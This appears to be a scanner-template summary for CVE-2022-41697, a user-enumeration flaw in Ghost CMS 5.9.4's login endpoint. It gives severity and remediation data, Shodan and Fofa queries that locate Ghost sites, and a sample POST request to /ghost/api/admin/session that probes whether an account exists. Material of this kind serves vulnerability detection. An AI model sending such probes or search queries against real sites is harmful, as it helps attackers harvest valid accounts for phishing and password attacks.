| Title | Ghost CMS - User Enumeration |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Attackers can identify valid usernames/email addresses, facilitating targeted attacks such as phishing, credential stuffing, or brute-force password attacks. |
| Remediation | Update to the latest version of Ghost CMS or apply security patches that implement consistent error messages regardless of whether the user exists. |
| CVSS Score | 5.3 |
| EPSS Score | 0.442 |
| CVE ID | CVE-2022-41697 |
| CWE ID | CWE-204 |
| Shodan Query | http.component:"ghost" |
| Fofa Query | app="Ghost" |
| Tags | cve cve2022 ghost enum disclosure |
Ghost CMS 5.9.4 contains a user enumeration vulnerability in the login functionality. The application reveals whether a user account exists through different error messages, allowing attackers to enumerate valid user accounts via specially-crafted HTTP requests.
POST /ghost/api/admin/session HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 95
Content-Type: application/json
Accept-Encoding: gzip
{"username":"38ooGb0QRaw5tcBgvKQqdIXGP3n@example.com","password":"38ooGb0QRaw5tcBgvKQqdIXGP3n"}
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